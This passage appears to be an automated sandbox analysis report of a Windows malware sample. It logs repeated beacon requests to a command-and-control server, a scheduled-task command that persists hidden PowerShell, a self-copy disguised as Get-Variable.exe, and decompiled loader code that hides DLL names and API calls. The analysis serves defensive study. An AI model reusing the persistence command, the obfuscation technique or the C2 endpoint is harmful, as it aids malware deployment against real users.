Aug 15, 2021 08:41:57.957921028 CEST	7676	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:57.986778021 CEST	7676	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:58.096818924 CEST	7677	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:58.125093937 CEST	7677	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:58.239187956 CEST	7677	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:58.267383099 CEST	7677	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:58.378177881 CEST	7677	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:58.406689882 CEST	7678	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:58.518368959 CEST	7678	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:58.547298908 CEST	7678	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:58.659332991 CEST	7678	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:58.687432051 CEST	7679	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:58.803101063 CEST	7679	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:58.835947037 CEST	7679	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:58.973445892 CEST	7679	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:59.001097918 CEST	7680	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:59.116455078 CEST	7680	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:59.144843102 CEST	7680	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:59.253037930 CEST	7680	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:59.282808065 CEST	7680	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:59.394588947 CEST	7681	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:59.423778057 CEST	7681	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:59.535820007 CEST	7681	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:59.565191031 CEST	7681	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:59.695440054 CEST	7682	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:59.722902060 CEST	7682	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:59.850385904 CEST	7682	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:59.879321098 CEST	7682	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:59.987881899 CEST	7683	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:00.018825054 CEST	7683	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:00.131479025 CEST	7683	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:00.159569979 CEST	7683	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49778	94.103.80.169	80	C:\Users\user\Desktop\q2t57gIiIY.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2021 08:42:00.300185919 CEST	7684	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:00.328176975 CEST	7684	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:00.445694923 CEST	7684	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:00.476481915 CEST	7685	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:00.598428965 CEST	7685	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:00.626421928 CEST	7685	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:00.739523888 CEST	7685	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:00.769498110 CEST	7686	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:00.884320974 CEST	7686	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:00.913232088 CEST	7686	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:01.039710045 CEST	7686	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:01.067212105 CEST	7686	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:01.175894976 CEST	7687	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:01.205776930 CEST	7687	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:01.318448067 CEST	7687	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:01.346661091 CEST	7687	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:01.460005045 CEST	7688	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:01.489587069 CEST	7688	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:01.600298882 CEST	7688	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:01.628822088 CEST	7688	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:01.742037058 CEST	7689	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:01.770724058 CEST	7689	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:01.879076958 CEST	7689	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:01.907259941 CEST	7689	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:02.020961046 CEST	7690	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:02.049921036 CEST	7690	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:02.161909103 CEST	7690	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:02.189693928 CEST	7690	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:02.306512117 CEST	7690	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:02.335712910 CEST	7691	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:02.457232952 CEST	7691	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:02.486305952 CEST	7691	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:02.598859072 CEST	7691	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:02.627393007 CEST	7692	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:02.738302946 CEST	7692	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:02.766352892 CEST	7692	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:02.878494024 CEST	7692	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:02.906819105 CEST	7693	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:03.019803047 CEST	7693	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:03.048734903 CEST	7693	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:03 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:03.170156002 CEST	7693	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:03.198467016 CEST	7694	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:03 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:03.316032887 CEST	7694	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:03.344574928 CEST	7694	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:03 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:42:03.460972071 CEST	7694	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:42:03.489135981 CEST	7695	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:42:03 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: q2t57gIiIY.exe PID: 5960 Parent PID: 5964

General

Start time:	08:39:58
Start date:	15/08/2021
Path:	C:\Users\user\Desktop\q2t57gIiIY.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\q2t57gIiIY.exe'
Imagebase:	0x400000
File size:	6601656 bytes
MD5 hash:	0E78DF69265DC57C37673BDEE540CE2F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: schtasks.exe PID: 5916 Parent PID: 5960

General

Start time:	08:40:05
Start date:	15/08/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/create /tn COMSurrogate /st 00:00 /du 9999:59 /sc once /ri 1 /f /tr 'powershell.exe -windowstyle hidden'
Imagebase:	0x190000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: Get-Variable.exe PID: 6656 Parent PID: 5960

General

Start time:	08:40:07
Start date:	15/08/2021
Path:	C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe
Imagebase:	0x400000
File size:	6601656 bytes
MD5 hash:	0E78DF69265DC57C37673BDEE540CE2F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 21%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 6632 Parent PID: 968

General

Start time:	08:40:08
Start date:	15/08/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle hidden
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6708 Parent PID: 6632

General

Start time:	08:40:08
Start date:	15/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: Get-Variable.exe PID: 6952 Parent PID: 6632

General

Start time:	08:40:20
Start date:	15/08/2021
Path:	C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe' Name host ValueOnly True
Imagebase:	0x400000
File size:	6601656 bytes
MD5 hash:	0E78DF69265DC57C37673BDEE540CE2F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Get-Variable.exe PID: 6656 Parent PID: 5960 Get-Variable.exeCOMMON

Executed Functions

Function 01914C7F, Relevance: 6.3, APIs: 4, Instructions: 285
libraryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E01914C7F() {
				short _v6;
				short _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				short _v18;
				short _v20;
				short _v22;
				short _v24;
				short _v26;
				char _v28;
				short _v32;
				short _v34;
				short _v36;
				short _v38;
				short _v40;
				short _v42;
				short _v44;
				short _v46;
				short _v48;
				short _v50;
				short _v52;
				short _v54;
				short _v56;
				short _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				short _v72;
				short _v74;
				short _v76;
				short _v78;
				short _v80;
				short _v82;
				short _v84;
				short _v88;
				short _v90;
				short _v92;
				short _v94;
				short _v96;
				short _v98;
				short _v100;
				short _v102;
				short _v104;
				short _v106;
				short _v108;
				short _v110;
				short _v112;
				short _v116;
				short _v118;
				short _v120;
				short _v122;
				short _v124;
				short _v126;
				short _v128;
				short _v130;
				short _v132;
				short _v134;
				short _v136;
				short _v138;
				short _v140;
				short _v142;
				short _v144;
				short _v146;
				short _v148;
				short _v150;
				short _v152;
				short _v154;
				short _v156;
				short _v158;
				short _v160;
				short _v162;
				short _v164;
				short _v166;
				char _v168;
				short _t87;
				short _t88;
				short _t89;
				short _t90;
				short _t91;
				short _t92;
				short _t93;
				short _t94;
				short _t95;
				short _t96;
				short _t97;
				short _t100;
				short _t101;
				short _t102;
				short _t103;
				short _t104;
				short _t105;
				short _t106;
				short _t107;
				short _t108;
				short _t109;
				short _t110;
				short _t113;
				short _t114;
				short _t115;
				short _t116;
				short _t117;
				short _t118;
				short _t119;
				short _t120;
				short _t121;
				short _t122;
				short _t125;
				short _t126;
				short _t127;
				short _t128;
				short _t129;
				short _t130;
				short _t131;
				short _t132;
				short _t133;
				short _t134;
				short _t135;
				short _t138;
				short _t139;
				short _t140;
				short _t141;
				short _t142;
				short _t143;
				short _t144;
				short _t145;
				short _t146;
				short _t147;
				short _t148;
				short _t149;
				short _t152;
				short _t153;
				short _t154;
				short _t155;
				short _t156;
				short _t157;
				short _t158;
				short _t159;
				short _t160;
				short _t161;
				short _t162;
				struct HINSTANCE__* _t168;
				struct HINSTANCE__* _t172;
				struct HINSTANCE__* _t180;
				struct HINSTANCE__* _t188;

				 *0x1915070 = E01911AA6();
				 *0x1915088 = E01911AB8();
				_t87 = 0x77;
				_v56 = _t87;
				_t88 = 0x69;
				_v54 = _t88;
				_t89 = 0x6e;
				_v52 = _t89;
				_t90 = 0x69;
				_v50 = _t90;
				_t91 = 0x6e;
				_v48 = _t91;
				_t92 = 0x65;
				_v46 = _t92;
				_t93 = 0x74;
				_v44 = _t93;
				_t94 = 0x2e;
				_v42 = _t94;
				_t95 = 0x64;
				_v40 = _t95;
				_t96 = 0x6c;
				_v38 = _t96;
				_t97 = 0x6c;
				_v36 = _t97;
				_v34 = 0;
				_v32 = 0;
				_t100 = 0x73;
				_v84 = _t100;
				_t101 = 0x68;
				_v82 = _t101;
				_t102 = 0x6c;
				_v80 = _t102;
				_t103 = 0x77;
				_v78 = _t103;
				_t104 = 0x61;
				_v76 = _t104;
				_t105 = 0x70;
				_v74 = _t105;
				_t106 = 0x69;
				_v72 = _t106;
				_t107 = 0x2e;
				_v70 = _t107;
				_t108 = 0x64;
				_v68 = _t108;
				_t109 = 0x6c;
				_v66 = _t109;
				_t110 = 0x6c;
				_v64 = _t110;
				_v62 = 0;
				_v60 = 0;
				_t113 = 0x75;
				_v28 = _t113;
				_t114 = 0x73;
				_v26 = _t114;
				_t115 = 0x65;
				_v24 = _t115;
				_t116 = 0x72;
				_v22 = _t116;
				_t117 = 0x33;
				_v20 = _t117;
				_t118 = 0x32;
				_v18 = _t118;
				_t119 = 0x2e;
				_v16 = _t119;
				_t120 = 0x64;
				_v14 = _t120;
				_t121 = 0x6c;
				_v12 = _t121;
				_t122 = 0x6c;
				_v10 = _t122;
				_v8 = 0;
				_v6 = 0;
				_t125 = 0x63;
				_v112 = _t125;
				_t126 = 0x72;
				_v110 = _t126;
				_t127 = 0x79;
				_v108 = _t127;
				_t128 = 0x70;
				_v106 = _t128;
				_t129 = 0x74;
				_v104 = _t129;
				_t130 = 0x33;
				_v102 = _t130;
				_t131 = 0x32;
				_v100 = _t131;
				_t132 = 0x2e;
				_v98 = _t132;
				_t133 = 0x64;
				_v96 = _t133;
				_t134 = 0x6c;
				_v94 = _t134;
				_t135 = 0x6c;
				_v92 = _t135;
				_v90 = 0;
				_v88 = 0;
				_t138 = 0x61;
				_v168 = _t138;
				_t139 = 0x64;
				_v166 = _t139;
				_t140 = 0x76;
				_v164 = _t140;
				_t141 = 0x61;
				_v162 = _t141;
				_t142 = 0x70;
				_v160 = _t142;
				_t143 = 0x69;
				_v158 = _t143;
				_t144 = 0x33;
				_v156 = _t144;
				_t145 = 0x32;
				_v154 = _t145;
				_t146 = 0x2e;
				_v152 = _t146;
				_t147 = 0x64;
				_v150 = _t147;
				_t148 = 0x6c;
				_v148 = _t148;
				_t149 = 0x6c;
				_v146 = _t149;
				_v144 = 0;
				_v142 = 0;
				_t152 = 0x73;
				_v140 = _t152;
				_t153 = 0x68;
				_v138 = _t153;
				_t154 = 0x65;
				_v136 = _t154;
				_t155 = 0x6c;
				_v134 = _t155;
				_t156 = 0x6c;
				_v132 = _t156;
				_t157 = 0x33;
				_v130 = _t157;
				_t158 = 0x32;
				_v128 = _t158;
				_t159 = 0x2e;
				_v126 = _t159;
				_t160 = 0x64;
				_v124 = _t160;
				_t161 = 0x6c;
				_v122 = _t161;
				_t162 = 0x6c;
				_v120 = _t162;
				_v118 = 0;
				_v116 = 0;
				E01911ACC(E01914FB0(2), 0x9d676809); // executed
				_t168 = LoadLibraryW( &_v56); // executed
				 *0x191507c = _t168;
				E01911ACC(E01914FB0(2), 0x9d676809); // executed
				_t172 = LoadLibraryW( &_v84); // executed
				 *0x1915080 = _t172;
				_push( &_v28);
				 *0x1915074 =  *((intOrPtr*)(E01911ACC(E01914FB0(2), 0x9d676809)))();
				E01911ACC(E01914FB0(2), 0x9d676809); // executed
				_t180 = LoadLibraryW( &_v112); // executed
				 *0x1915078 = _t180;
				_push( &_v168);
				 *0x1915084 =  *((intOrPtr*)(E01911ACC(E01914FB0(2), 0x9d676809)))();
				E01911ACC(E01914FB0(2), 0x9d676809); // executed
				_t188 = LoadLibraryW( &_v140); // executed
				 *0x191508c = _t188;
				return _t188;
			}

0x01914c8d
0x01914c97
0x01914c9e
0x01914c9f
0x01914ca5
0x01914ca6
0x01914cac
0x01914cad
0x01914cb3
0x01914cb4
0x01914cba
0x01914cbb
0x01914cc1
0x01914cc2
0x01914cc8
0x01914cc9
0x01914ccf
0x01914cd0
0x01914cd6
0x01914cd7
0x01914cdd
0x01914cde
0x01914ce4
0x01914ce5
0x01914ceb
0x01914cf1
0x01914cf7
0x01914cf8
0x01914cfe
0x01914cff
0x01914d05
0x01914d06
0x01914d0c
0x01914d0d
0x01914d13
0x01914d14
0x01914d1a
0x01914d1b
0x01914d21
0x01914d22
0x01914d28
0x01914d29
0x01914d2f
0x01914d30
0x01914d36
0x01914d37
0x01914d3d
0x01914d3e
0x01914d44
0x01914d4a
0x01914d50
0x01914d51
0x01914d57
0x01914d58
0x01914d5e
0x01914d5f
0x01914d65
0x01914d66
